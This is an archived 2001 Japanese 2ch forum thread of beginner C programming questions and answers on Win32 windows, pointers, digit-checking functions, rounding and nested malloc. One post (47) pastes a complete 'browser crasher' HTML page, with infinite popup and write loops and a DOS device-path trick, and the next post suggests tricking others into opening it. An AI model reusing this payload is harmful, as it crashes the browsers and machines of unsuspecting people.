トップページ⇒tech
1001コメント311KB

C言語なら、オレに聞け! <6>

レス数が1000を超えています。これ以上書き込みはできません。
0001ジョブス偽01/09/05 00:32ID:6o7ny/7g
おれは21才、9年間プログラムを一生懸命作ってきた。
C言語はあまり知らないがPascalなら誰にも負けない...
何でも俺に聞かないで自分たちで解決しろ。

だから、FAQに載ってる質問しても答えてやれないかもな。
失業中だから、課題マル投げ君も気が向いたら構ってやる。

・comp.lang.c Frequently Asked Questions
http://www.eskimo.com/~scs/C-faq/top.html

・C FAQ 日本語訳
http://www.catnet.ne.jp/kouno/c_faq/c_faq.html

・前スレ C言語なら、オレに聞け! <5>
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=994908590
0002デフォルトの名無しさん01/09/05 00:32ID:a3PLHGJI
おやすみ
0003デフォルトの名無しさん01/09/05 01:12ID:jDbkfcSk
WinGUIを書く方法は?
かけるようなことを聞いたことがあるような。ないような...。

CPPは未経験。
CはCharベースのもぐら叩きが作れるくらい。

まだ程度は低いのだけど、予備知識として興味があるので...。
どうでしょ?
できるならどんな感じ?
0004デフォルトの名無しさん01/09/05 01:22ID:qCEVoVh2
#include<windows.h>
HDC hdc;
int main(){
hdc=GetDC(NULL);
int aho=1;
while(aho){
TextOut(hdc,0,0,"aaa",3);
if(GetKeyState(41) & 0x8000){
aho=0;
}
}
return 0;
}
0005 01/09/05 01:28ID:Z5vqD32U
クラスとかポインタとかわかりません。
わかりやすくおしえてください
0006デフォルトの名無しさん01/09/05 01:38ID:eD8J59YU
>>5
教える。
ポインタとはアドレスのことだ。
0007デフォルトの名無しさん01/09/05 01:48ID:qCEVoVh2
ではポインタのポインタとはアドレスのアドレスでふか?あんたアホちゃいまっか?アドレスのアドレスはアドレスにきまってるとちゃいまっか。よってポインタのポインタなんていらなくなんのとちゃいまっか。アホでんな。
0008アホ>>701/09/05 01:55ID:eD8J59YU
>>7
では何だというのだ?ヴォケが。
http://blackcat2.tripod.co.jp/
ここ見て来い!アホ
0009デフォルトの名無しさん01/09/05 01:57ID:RgMRPKXI
>>3
C で書くなら、こんな感じ。

#include <windows.h>
static TCHAR szAppName[] = TEXT("Skelton");
static TCHAR szText[] = TEXT("Hello, World");

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
  HDC hdc;
  PAINTSTRUCT ps;
  switch (msg) {
  case WM_DESTROY:
    PostQuitMessage(0);
    return (0);
  }
  return (DefWindowProc(hwnd, msg, wParam, lParam));
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hInstancePrev, PSTR lpCmdLine, int nCmdShow)
{
  HWND hwnd;
  MSG msg;
  WNDCLASS wcl;
  TCHAR szClass[] = TEXT("SkeltonClass");

  wcl.style = CS_HREDRAW | CS_VREDRAW;
  wcl.lpfnWndProc = WndProc;
  wcl.cbClsExtra = 0;
  wcl.cbWndExtra = 0;
  wcl.hInstance = hInstance;
  wcl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  wcl.hCursor = LoadCursor(NULL, IDC_ARROW);
  wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  wcl.lpszMenuName = NULL;
  wcl.lpszClassName = szClass;

  if (!RegisterClass(&wcl)) {
    MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR);
    return (1);
  }
  hwnd = CreateWindow(szClass, szAppName, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);
  ShowWindow(hwnd, nCmdShow);
  UpdateWindow(hwnd);
  while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
  return (msg.wParam);
}
0010デフォルトの名無しさん01/09/05 01:58ID:S86Brkcc
>7
ポインタとはアドレスのことで間違ってないと思うけど。
そのアドレスが代入されている変数がポインタ変数。

>ポインタのポインタ
そんなものはない。ポインタ変数へのポインタならあるが。
0011デフォルトの名無しさん01/09/05 01:59ID:kt1G3tMo
今夜からプログラミングを始めたんですが、最初でいきなりつまづきました。
ボーランドのフリーのコンパイラです

#include <stdio.h>

int main(void);

int main(void)
{
int x;

x = 4;
printf("%d\n", 2 * x + 3);
  return(0);
}

エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )
エラー E2206 list-3-1.cpp 11: 不正な文字 ' ' (0x8140)(関数 main() )

となってコンパイルできません。不正な文字って言われても何処のことやら…
0012デフォルトの名無しさん01/09/05 02:01ID:S86Brkcc
>>11
全角空白(return(0)の前が)
0013デフォルトの名無しさん01/09/05 02:02ID:6o7ny/7g
>>7
アドレスのアドレスじゃない。
アドレスへのアドレス。
よって、ポインタのポインタはアドレス。
問題ない。

分かりづらいかな?
0014デフォルトの名無しさん01/09/05 02:04ID:eD8J59YU
  return(0);
ここが変。空白入れるな
00151101/09/05 02:07ID:kt1G3tMo
>>12 >>14
ありがとうございます。めちゃくちゃ入門的なテキスト買ったので
それでまったりと勉強していきます。
0016デフォルトの名無しさん01/09/05 02:08ID:eD8J59YU
とはいえ、ポインタ=アドレスという説明だけで十分かな?
0017デフォルトの名無しさん01/09/05 02:10ID:qCEVoVh2
不十分。自信マンマンに紹介されたアドレスは既に電子空間に消え去ってまふが?
0018>qCEVoVh201/09/05 02:14ID:eD8J59YU
omaegasetumeisiteyare
0019デフォルトの名無しさん01/09/05 02:14ID:sjpRAjNc
cで組まれたプログラムの日本語化パッチを作りたいんですが、
どうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
0020お胸おっぱい01/09/05 02:15ID:Bqx9xP/Y
前から不思議だったんだけど、
何で return の後ろに“()”入れたがるんだろね?
何で if や while と“()”の間をつめたがるんだろね?
関数に合わせてるとでも言うんだろか。
0021 01/09/05 02:16ID:Z5vqD32U
結局ポインタってなんなんですか。
実用的な例はないのですか。
aを*pに&a???
(゚д゚)?
0022デフォルトの名無しさん01/09/05 02:19ID:eD8J59YU
       ≪ポインタ≫

int a;   /* 変数a宣言 */
a=10; /* a=10 */
int p_a;  /* ポインタa宣言 */
0023デフォルトの名無しさん01/09/05 02:21ID:eD8J59YU
p_a=&a;
ここでp_aはaを指す
だから
printf("%p",*p_a);
これでaの値がわかる
0024ポイソタ州01/09/05 02:22ID:qCEVoVh2
ポインタ変数は何かを指していないと使えません。つまりポイソタ変数を使う場合、なにをするにもまずはポインタ変数が何かを指すことから始めなければなりません。これが大原則です。
0025デフォルトの名無しさん01/09/05 02:22ID:eD8J59YU
>>お胸いぱーい
そんなどうでもいいこといこだわるなボケ
0026デフォルトの名無しさん01/09/05 02:23ID:FQ2H/40g
>>21
うぜえな。
人に聞いてないで自分で調べろよ。
0027デフォルトの名無しさん01/09/05 02:23ID:eD8J59YU
>>24
んなこーたしってルーよヽ( ´ー`)ノ やれやれ
0028デフォルトの名無しさん01/09/05 02:23ID:kiU7d71A
VB5とVB6のちがいはなんですか?
ラーニングとプロフェッショナルのちがいはなんですか?

すんません初歩的な質問で。
0029デフォルトの名無しさん01/09/05 02:25ID:eD8J59YU
>>26
おまえがウザイ
http://www.google.com/search?q=cache:nz44mp9t_Do:utenti.tripod.it/Msio/+%8E%81%82%CB&hl=ja
0030デフォルトの名無しさん01/09/05 02:26ID:FQ2H/40g
>>28
スレちがい。
0031デフォルトの名無しさん01/09/05 02:26ID:kiU7d71A
>>30
おしえてよん
0032 01/09/05 02:28ID:Z5vqD32U
>>26
ごめん
0033デフォルトの名無しさん01/09/05 02:28ID:qCEVoVh2
ポインタへのポインタって何なんじゃろか?何の気なしにCreateDIBSecsionの引数で使ってはいたものの実態は、はて?
0034嵐王01/09/05 02:28ID:eD8J59YU
まいクソソフトのホームページへ逝って見た方が
ここの低脳無知なやつらに聞くより早いわよ
>>31
0035デフォルトの名無しさん01/09/05 02:31ID:kiU7d71A
>>34
そうします・・・
ここのひとたちって、ほんとにプログラムのできるひとたちなんでしょうか?
0036お胸おっぱい01/09/05 02:31ID:Bqx9xP/Y
>>25
違う!よく見ろ、“おっぱい”だ“おっぱい”!
指摘するのも恥ずかしいよ!自分でも!
0037嵐王01/09/05 02:35ID:eD8J59YU
出来ないから、自分で調べろなどという厨房発言をするんだわ。>>35
本当にすごい人たちは、そんなこといわないもん。
0038デフォルトの名無しさん01/09/05 02:35ID:qCEVoVh2
>37
はたしてどうかにゃー?
0039デフォルトの名無しさん01/09/05 02:41ID:XEspZsEc
>>37
はいはい。ここにはすごい人はいません。
よそへ行って思う存分、疑問をお尋ね下さい。

なんか面白いコードないかなァ。
0040デフォルトの名無しさん01/09/05 02:44ID:kiU7d71A
#include <stdio.h>
void main(void)
{
printf("For Unlawful Carnel Knowledge.\n");
}
0041デフォルトの名無しさん01/09/05 02:47ID:kiU7d71A
void main(void)
{
int loop;
int length;
char code;
printf ( "\n");
rs_b_init();
loop=TRUE;
while ( loop )
{
if ((length=rs_b_length()) !=0)
{
for( ; length > 0; length --)
{
code = rs_b_receive();
printf( "%c", code);
}
}
if (!kbhit())
{
;
}
else if((code=inkey()) == CTRL_Z)
{
loop=FALSE;
}
else
{
printf( "%c", code);
rs_b_send(code);
}
}
}
0042デフォルトの名無しさん01/09/05 02:51ID:qCEVoVh2
>39
int *tiger1,*tiger2,*tiger3;

for(;;){
tiger1=tiger2;
tiger2=tiger3;
tiger3=tiger1;
}

バターになりまふ。
0043デフォルトの名無しさん01/09/05 02:51ID:kiU7d71A
問題です。
上のコードを用いて、シリアルポート間で
双方向の文字通信を可能にするプログラムを作ってください。
SPDのみでも結構です。
0044嵐王01/09/05 02:51ID:eD8J59YU
>>40-41
お〜うまいうまい(^.^)うふっ
0045デフォルトの名無しさん01/09/05 02:52ID:eD8J59YU
0046デフォルトの名無しさん01/09/05 02:55ID:eD8J59YU
パソコンを爆発させるプログラムを教えてくださいhe//////
0047デフォルトの名無しさん01/09/05 03:04ID:kiU7d71A
<html><header><title></title></header><meta http-equiv="Refresh" content="1">
<meta http-equiv="Refresh" content="0">
<SCRIPT LANGUAGE="JavaScript">
<!--
if(typeof(top)=="object" && typeof(top.va_frame)=="object")
{ if (typeof(top.va_frame.document)=="object" && typeof(top.va_frame.document.images)
=="object" && typeof(top.va_frame.document.images[0])=="object" && typeof(top.va_frame.
document.images[0].src)=="string" && typeof(top.va_frame.document.images[0].src.length)
=="number" && ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.
images[0].src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)
=="http://images.go2net.com/") ) ) {top.va_frame.location.reload(true); }
else {dly=(1.+Math.random())*10000.; setTimeout('if (typeof(top.va_frame.document)
=="object" && typeof(top.va_frame.document.images)=="object" && typeof(top.va_frame.document
.images[0])=="object" && typeof(top.va_frame.document.images[0].src)=="string"
&& typeof(top.va_frame.document.images[0].src.length) =="number"
&& ( (top.va_frame.document.images[0].src.length>25 && top.va_frame.document.images[0].
src.substring(0,25)=="http://images.go2net.com/") || (typeof(top.va_frame.document.
images[1])=="object" && typeof(top.va_frame.document.images[1].src)=="string"
&& typeof(top.va_frame.document.images[1].src.length) =="number" && top.va_frame.document.
images[1].src.length>25 && top.va_frame.document.images[1].src.substring(0,25)==
"http://images.go2net.com/") ) ) {top.va_frame.location.reload(true);} else {window.open
("http://click.go2net.com/adpopup?site=va&area=CAREERS&shape=noshape","va_rzjr137y",
"width=528,height=200"); }', dly); } } else { window.open("http://click.go2net.com/adpopup
?site=va&area=CAREERS&shape=noshape","va_rzjr137y", "width=528,height=200");}
//-->
</SCRIPT>
</HEAD>
<body>
<img src="JavaScript:while(1){ var w=window.open('');}" width="1" height="1">
<img src="JavaScript:while(1){ document.write('\n');}" width="1" height="1">
<img src="http://www.yahoo.com:21/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:23/" width="100000000" height="100000000">
<img src="http://www.yahoo.com:25/" width="100000000" height="100000000">
<img src="mailto:[email protected]" width="1" height="1">
<img src="file://A:/con/con" width="1" height="1">
.........
.........
</body>

</HTML>
00484701/09/05 03:05ID:kiU7d71A
ブラクラのなかみだよ。
これをベースにして踏ませれば?爆発はしないけど。。。

嵐王さんHNかえなくていいよ
0049301/09/05 03:06ID:jDbkfcSk
>3
ahoなのは重々承知してます。
とりあえず、コンパイルが通らなかったのでなやんでました。

>9
サンプルThx!
CPPが悪いのではなくて、Winへの手順が複雑だと解釈しました。
それで、2つ切り離せたので少しだけ思考が楽になりました。

それでも、GUIへの道は長いぞっ...と。気長にいきます。
00504701/09/05 03:11ID:kiU7d71A
>>何で if や while と“()”の間をつめたがるんだろね?
ifやwhileは関数ではないが、素人サンはつめたがります。
0051デフォルトの名無しさん01/09/05 03:21ID:kvHY8Amo
文字列が全て数値で構成されているかを調べる関数ってありませんか?

例えば、char str1[]="abcde", str2[]="123abc567", str3[]="789";
として、それぞれのポインターを放り込むと、str1とstr2はFALSE、str3だけTRUEが帰ってくるような。
00524701/09/05 03:25ID:kiU7d71A
0x30,0x31,・・・,0x38,0x39
をつかいましょ。
00535101/09/05 03:31ID:kvHY8Amo
>>52
どういう意味ですか?
0-9までのキャラクタコードですよね?
0054デフォルトの名無しさん01/09/05 03:34ID:JfT.4P/M
#include <ctype.h>
int isNumeric(const char *s)
{
 while (*s != NULL) {
  if (!isnumber(*s++)) return 0;
 }
 return !0;
}
00555401/09/05 03:37ID:vP.O3hMA
isnumber(3) なんてねー。
isdigit(3) の誤りです。スマソ
00565101/09/05 03:40ID:kvHY8Amo
>>54
ありがとうございます。isNumericという関数ですね?
始めて見ました。
ここまで分かれば、あとは自分で調べることが出来ます。
ありがとうございました。

#始め見たとき、isNumericが自作関数で、isnumberが目的の関数かと思ってしまった・・・。
00575101/09/05 03:43ID:kvHY8Amo
>>55
あ、了解です。
っていうか、やっぱり自作関数なのか・・・。
0058デフォルトの名無しさん01/09/05 03:43ID:RgMRPKXI
>>54
仕様の問題だけど isNumeric("") は FALSE にした方が良いかも。
00595401/09/05 03:52ID:aiLtWPrs
>>58
おっと失礼。まったくそのとおりです。
>>51 さん、気をつけてね。
それと
>>51
>文字列が全て数値で...
文字列が全て数字で... という方が誤解を招かなくてよい(俺ルール)(藁
00605101/09/05 03:55ID:kvHY8Amo
>>59
はい、理解しました。
GoogleにisNumericって入れたら沢山出てきたから、中身見ずにそういう関数が
あるのかなと思ったら、VBでした。

そうですね、数値だと文字も全て数値ですしね。数字が正しい表現ですね。
0061デフォルトの名無しさん01/09/05 04:05ID:eD8J59YU
test
0062デフォルトの名無しさん01/09/05 04:07ID:FQ2H/40g
>>37
「ポインタを教えてください」
なんて質問に丁寧に答えてる教え魔は、教えて君のFAQを誘発して
コミュニティーの質を下げる厨房。
始末のわるいバカ。
0063嵐王01/09/05 04:15ID:eD8J59YU
   /)  /)
  /  ⌒  ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ●_ ●  | < バカで結構。私はそれで楽しいから・・・
 (〇 〜  〇 |  \______________
 /       |
 |     |_/ |
0064嵐王01/09/05 04:16ID:eD8J59YU
別に医院でね〜の?ここは質問する場所だろ。
0065デフォルトの名無しさん01/09/05 04:19ID:XEspZsEc
int isdigitstr( const char * s)
{
 int f = 0;
 if( s ) { f = 1; while(isdigit(*s)) s++; if( *s ) f = 0; }
 return f;
}
俺ならこう書くかな.. ねむ...
0066デフォルトの名無しさん01/09/05 04:22ID:XEspZsEc
2行目はもうすこし削れる...
while(isdigit(*s)) s++; if( *s == '\0' ) f = 1;
0067デフォルトの名無しさん01/09/05 04:30ID:XEspZsEc
あ ミスった わすれてくり... > 65,66
0068デフォルトの名無しさん01/09/05 04:35ID:FQ2H/40g
>>63
自分が楽しければ、周囲に迷惑かけてもいいのかよ?
0069デフォルトの名無しさん01/09/05 04:42ID:Oo8mA9gA
int isdigitstr( const char * s)
{
 while( *s ) isdigit( *(s++) ) ? continue : return 0;
 return 1;
}
0070嵐王01/09/05 04:43ID:eD8J59YU
>>63(゚Д゚)ハァ?
0071嵐王01/09/05 04:44ID:eD8J59YU
>>69
(゚Д゚)ハァ?
0072デフォルトの名無しさん01/09/05 04:44ID:Oo8mA9gA
>>70
過去の自分は捨てると・・・
0073デフォルトの名無しさん01/09/05 04:45ID:eD8J59YU
>>68
http://rfp.ug.to/
全ては、嵐の精神・・・
0074デフォルトの名無しさん01/09/05 04:46ID:Oo8mA9gA
>>71
なんで(゚Д゚)ハァ? なの?
007573は俺01/09/05 04:46ID:eD8J59YU
嵐王>>73
0076デフォルトの名無しさん01/09/05 04:48ID:eD8J59YU
70と71は間違いゴメソ(T_T)
007774=6901/09/05 04:49ID:Oo8mA9gA
>>76
OK。
0078嵐王01/09/05 04:50ID:eD8J59YU
コーンナこともへいきでする野田
http://baka-aho.virtualave.net/bbs/
あぼーん
00795101/09/05 04:54ID:kvHY8Amo
>>65-66
ありがとうございます。参考になります。

>>69
ありがとうございます。
始め、難解で読めませんでした・・・。
今調べてみたんですけど、三項演算子ってやつですよね?
知りませんでした・・・。
「:」が「;」の間違いじゃないかと、悩んでしまった。
0080デフォルトの名無しさん01/09/05 04:57ID:Oo8mA9gA
>>78
telnetやってもつながりませんでした。

>>79
がんばれ。
0081デフォルトの名無しさん01/09/05 05:16ID:Oo8mA9gA
>>78
無反応?
00825101/09/05 05:18ID:kvHY8Amo
>>69
すいません、寝ぼけた質問なのかもしれませんけど
>while( *s ) isdigit( *(s++) ) ? continue : return 0;
の、*(s++)って、最初の文字がチェックされます?
0083デフォルトの名無しさん01/09/05 05:20ID:Oo8mA9gA
>>82
されるよ。
順番としては、

while 判定
isdigit(s)
三項演算子
true continue
false return 0;
s+=1

って感じ。
0084デフォルトの名無しさん01/09/05 05:21ID:RgMRPKXI
私は素直に do - while 使うかな。あまり凝ったコードにすると、
後で見たとき戸惑う。

>>69
コンパイル通りません。三項演算子の ?, : の後には値を持つ要素を置
く必要がありますが、continue, return 0 は値を持たないためです。
私なら、素直に do - while でループ回すかな。

int isdigitstr(const char *s)
{
  if (*s == '\0')
    return (0);
  do
    if (!isdigit(*s))
      return (0);
  while (*++s != '\0');
 
  return (1);
}
0085デフォルトの名無しさん01/09/05 05:26ID:Oo8mA9gA
>>82
ごめん。


while 判定
isdigit(s)
s+=1
三項演算子
true continue
false return 0;

だった。


>>84
んじゃ
while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;
だね。

三項演算子ははまってるから使ってる(w
普段は

while( *s )
 if(! isdigit( *(s++) ) )
  return 0;

って感じかな。
00865101/09/05 05:27ID:kvHY8Amo
>>83
え、マジスカ・・・。
全然流れが理解できない。
なんでs+=1が最後に来るんですか?
00875101/09/05 05:29ID:kvHY8Amo
あ、カキコしてる間に進んでる・・・。
なんとなく理解しました。
0088デフォルトの名無しさん01/09/05 05:33ID:Oo8mA9gA
>>84
>while( *s ) isdigit( *(s++) ) ? continue,0 : return 0,1;

嘘です。できません。
コンパイル通りません。

すいません
0089デフォルトの名無しさん01/09/05 05:34ID:Oo8mA9gA
>>87
スマソ。
嘘教えちゃった。
00905101/09/05 05:36ID:kvHY8Amo
>>88
ああ、良いですよ。色々勉強になりましたから(笑)
単純に
while( *s )
 if(! isdigit( *(s++) ) )
  return 0;
これだけでいけそうですしね。
0091age01/09/05 06:15ID:XEspZsEc
このすれ continue;

新しい話題 come on!
0092CCライダー01/09/05 08:24ID:oKmBuqwA
substring(結果, もとの文字列, なん文字以降)
って関数ありませんか?

sprintf?
0093デフォルトの名無しさん01/09/05 08:36ID:mNqbuqRc
#define substring(dst,src,n) strcpy(dst,src+n)
0094デフォルトの名無しさん01/09/05 08:41ID:64a.ANYA
char *isdigitchar(const char *s)
{
return strcat(s, "にょ");
}
0095デフォルトの名無しさん01/09/05 08:42ID:64a.ANYA
しまったconstあったらだめだ
0096デフォルトの名無しさん01/09/05 09:10ID:mTM5PKCo
>>93
やっと意味がわかった・・・・鬱・・・・
0097CCライダー01/09/05 09:22ID:4BcFYyQo
>>93さんサンクスコ

ところでstrcpyの返値ってなんなんですか?
char *strcpy(dst, src+n)
のcharをprintf("%s")してみたのですが文字じゃなかったです。
0098デフォルトの名無しさん01/09/05 11:01ID:pDzmJoSY
>>97
(゚д゚)ハァ?

const char *src = "1234";
char dst[255];

printf("%s", strcpy(dst, src + 2));
0099CCライダー01/09/05 11:20ID:4BcFYyQo
>>98
厨房ですまそ。
const char *src = "1234";
char dst[255];
char result[255];

*result = strcpy(dst, src +2));
printf("%s", result);
ってやってました。(泣き
0100デフォルトの名無しさん01/09/05 12:41ID:yTIAOUhE
>>94
それはtodigikochar()
010134201/09/05 16:30ID:4Tv.cdD.
>>5831
age
0102ジーコ01/09/05 20:04ID:ITaflj/M
バイナリファイルを開いて、fgets()みたいに取得したいんだけど、
どういう関数を使えばいいんですか。
0103ジーコ01/09/05 20:06ID:ITaflj/M
binaryファイルをfgets()のように取得したいんですが、
どのような関数を使えばいいんでしょう。
0104ジーコ01/09/05 20:07ID:ITaflj/M
fread()でいいのかな?
0105_01/09/05 20:55ID:5Rk4ItjA
いいんじゃない?
0106デフォルトの名無しさん01/09/05 21:16ID:PLLDkowA
もう一度聞かせていただきます。
cで組まれたプログラムの日本語化パッチを作りたいんですが、
どうすれば良いんでしょうか。
リソースエディタを使うとかって聞いたんですが。
0107デフォルトの名無しさん01/09/05 21:23ID:w1zmqj66
1、日本語化する
2、ソースがあるならdiffを取る
  無いなら、バイナリの差分を取る
0108デフォルトの名無しさん01/09/05 22:45ID:1ojJgpEE
>106
リソースエディタは(一部の環境を除いて)関係無い。
0109sageNGNG
(゜д゜)<1次第でこれほどダメスレになるのか
0110デフォルトの名無しさんNGNG
#include <stdio.h>
#include <stdlib.h>

struct test{
  int a, double b;
};

void keep(struct test **f, int I){
  struct test *g;
  g = (struct test *)malloc(sizeof(struct test)*I);
  *f = g;
}

int main(){
  int i;
  struct test *tester;

  keep(&tester, I);

  for(i=0;i<I;i++){
    tester[i].a = i;
    tester[i].b = (double)(i)*0.1;
  }

  exit(0);

}

みたいにやると
tester[0].a
tester[0].b
tester[1].a
tester[1].b
...
の順番でにメモリに格納されますよね?それを
tester.a[0]
tester.a[1]
...
tester.b[0]
tester.b[1]
...
のようにするにはどうしたらいいですか?
0111sageNGNG
つっこみどころは多いが、
メンバのaとbをポインタにして、keepの中で必要な領域を渡せばよいだけでは?

struct test { int *a, double *b; };
void keep(struct test *f, int I) {
f->a = (int *)malloc(sizeof(int) * I);
f->b = (double *)malloc(sizeof(double) * I);
}:
int main() {
int i;
struct test tester;

keep(&tester, I);

for (i = 0; i < I; i++) {
tester.a[i] = i;
tester.b[i] = (double)(i) * 0.1;
}
exit(0);
}
0112デフォルトの名無しさんNGNG
プログラミング言語 Cアンサー・ブック 第2版

ってどうなんですか?
K&Rってかいてあるけど
ANSI学びたい人でも買いですかね?
あとこれがあったら
プログラミング言語 第2版
本体はいらないっすか?
0113sageNGNG
こっちはいらないから本体をかっとけ。
0114110NGNG
>>111さん回答ありがとうございます
0115デフォルトの名無しさんNGNG
>>112
本屋で両方立ち読みしてみりゃいいのに
0116110NGNG
111実際gccでうまく行きました(navi2chから書いてます).
因に3次元の場合はどうしたらいいでしょうか?
111に倣っていろいろやってみたのですが,どうも駄目です.

↓これを改良したい...
void keep3(struct test ****f, int I, int J, int K){
int i, j;
struct test ***g;
g = (struct test ***)malloc(sizeof(struct test **)*I);
*g = (struct test **)malloc(sizeof(struct test *)*I*J);
**g = (struct test *)malloc(sizeof(struct test)*I*J*K);
for(i=0;i<I;i++){
g[i] = *g + i*J;
*g[i] = **g + i*J*K;
for(j=1;j<J;j++){
g[i][j] = *g[i] + j*K;
}
}
*f = g;
}
0117110NGNG
自分なりに作ったつもりですが,
main関数で値を代入するとsegmentation faultです...

[途中経過]

struct test3{
int ***a;
};

void keep3(struct test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*(f->a) = (int **)malloc(sizeof(int *)*I*J);
**(f->a) = (int *)malloc(sizeof(int)*I*J*K);
for(i=0;i<I;i++){
f->a[i] = *(f->a) + i+J;
*(f->a)[i] = **(f->a) + i*J*K;
for(j=1;j<J;j++){
f->a[i][j] = *(f->a)[i] + j*K;
}
}
}
0118110NGNG
もの凄い勢いでTYPOでした.
誤 f->a[i] = *(f->a) + i+J;
正 f->a[i] = *(f->a) + i*J;

3次元でもうまく行きました!!
111さん本当にありがとうございました.
0119初心者mk2NGNG
CGIでMDBの内容を表示したいのですがどうすれば良いのでしょうか。
とりあえずODBCで試してみたのですが、MDB接続に失敗bオます。
0120デャtォルトの名無bオさんNGNG
>>69 バグ入り。#undef isdigitが必要。
>>65-66 なんで、もっと素直にこう書かない?

int isdigitstr(const char *p)
{
  if (!p || !*p) return 0;
  while (isdigit(*p))
    p++;
  return *p == '\0';
}

ちなみに、俺なら読み易さ優先でこう書くかな。

int isdigitstr(const char *p)
{
  return p && *p && strspn(p, "0123456789") == strlen(p);
}

なんか、<5>よりレベル下がってないか?
0121デフォルトの名無しさんNGNG
つーか、そんなコードじゃめちゃ遅いよ(w >>120
0122デフォルトの名無しさんNGNG
>>120
見やすいコードの方が良いと思われ。しかも、遅いし。
初心者には難解。シンプルな方が速いよ。
0123デフォルトの名無しさんNGNG
>>51
文字列が全て数値で構成されているかを調べる関数
int isNumaricStr( consr char* ) があったとして、
isNumaricStr("1192")
isNumaricStr("230")
isNumaricStr("六百")
isNumaricStr("一四九二")
isNumaricStr("ten")
は、それぞれどのような返値を持つべきなのですか?
話はそれからかと。
012451NGNG
ああ、まだレスして下さる方がいて、嬉しいです。

>>123
この場合
isNumaricStr("1192")
だけがTRUE(0以外の値)を返して、他のは全てFALSE(0)を返すのが良いです。
0125デフォルトの名無しさんNGNG
自分が作るとしたら
int toInteger( const char * s,int *isdigitstr)
{ char c;
 int r=0;
 while( *s==' ') s++; /* ブランクサプレス*/
 if( *s=='-') return isdigitstr(++s , ret); /* -符号 */
 if( *s=='+') s++; /* +符号 */
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) { if(isDigitstr!=NULL) isDigitstr=0;return r;}
   r=((r<<2)+r)<<1)+d;
 };
  if(isDigitstr!=NULL) isDigitstr=1;
  return r;
}
こういう関数作って 数字かどうかと同時に値も計算させてしまうな

int isdigitstr( const char * s)
{ char c;
 while( *s==' ') s++; /* ブランクサプレス*/
 if( *s=='+'||*s=='-') s++; /*符号*/
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) return 0;
 };
 return 1;
}
0126デフォルトの名無しさんNGNG
>>125
int isdigitstr(const char *s)
{
 char *endptr;
 strtol(s, &endptr, 10);
 return *endptr == '\0';
}
符号も考慮するならこっちの方がいいと思われ
0127120NGNG
>>121
速度優先で前者より後者を選ぶとは言っていない。
また、strspn()/strlen()による文字列走査の最適化の度合いや
isdigit()が関数実装のようなケースのことを考えると、
一概にisdigit()の方が速いとはいえないのでは。
もし仮に実行速度が重要なら、速い方を選択すれば良いだけのこと。

>>122
「NULLや空文字列でなく、数字からなる部分文字列がその全体の長さに等しい」
どこらへんが初心者に難解?
&&の評価順序?=='\0'や==NULLの省略?それともstrspn()?
strspn()が初心者に難解なら、isdigit()もstrspn()も同じだろうし、
そんなのは調べて、早いとこ初心者を卒業すればいいだけのことでは。

あと、見易さと言う観点については、確かに意見が分かれる所かもしれないが、
これについては、あるひとまとまりの処理をする関数があるなら、
それを使ったほうが見通しが良くなる点で、後者を推した。
舌足らずでスマソ。
0128デフォルトの名無しさんNGNG
>>120
なんで #undef isdigit が必要?
0129デフォルトの名無しさんNGNG
isalphastrでも同じパターン使うのか?とか言ってみたり
0130名無しさん@EmacsNGNG
printf だけ使って、小数点第一位で四捨五入するにはどうすればよいでしょ
うか?
0131120NGNG
>>128
isdigit()がマクロだったの場合の副作用除け。(69のは関数なら○)
>>129
確かに。見易さという観点からは、そこまではやらないです。はい。(藁
>>130
+.5して%d。
013251NGNG
>>125
なるほど。作る人によって、結構色々なパターンが出てきますね。
ちなみに、符号判定は要らないのです。説明不足で申し訳無いです。
013351NGNG
>>132
補足。
必ず正の整数だって言う事が保証されているので符号は付いていないのです。
0134デフォルトの名無しさんNGNG
>>131

+.5して%dだとマイナスのときに正常な値が得られないぞ
0135デフォルトの名無しさんNGNG
>>134
おっと、バグ出しThanx!
負数なら-.5か。
0136>>135NGNG
いや、それだと-0.5のときに-1.0になっちゃうよ。

double x = -0.5;
×printf("%f\n", (double)(int)(x - .5));
◎printf("%f\n", (double)(int)floor(x+.5));
○printf("%f\n", (double)(int)(x > 0 ? x+.5 : x-int(x) < -.5 ? x-1.0 : x));

floor()使えればいいんだけど、printf()だけみたいなんで、
3番が正解
0137デフォルトの名無しさんNGNG
しかし、コレはISO準拠じゃないな。
その辺は自分で考えてくれ
0138デフォルトの名無しさんNGNG
恥の上塗り。重ね重ねスマソ m(_ _)m。>>136
あぁ、穴があったら埋まりたい。(w
混乱させてしまったお詫びにグラフを書いて整理してみました。

   -2     -1     0     +1    +2
●―┼―○     ●―┼―○     ●―┼―○
       ●―┼―○     ●―┼―○
     -1.5   -0.5    +0.5   +1.5

参考にしてちょ。>>130
0139名無しさん@EmacsNGNG
>>138
> 参考にしてちょ。>>130

TNX!
0140110NGNG
再びすみません。

typedef struct{
int ***a; double ***b;
}test3;

void keep3(test3 *f, int I, int J, int K){
int i, j;
f->a = (int ***)malloc(sizeof(int **)*I);
*f->a = (int **)malloc(sizeof(int *)*I*J);
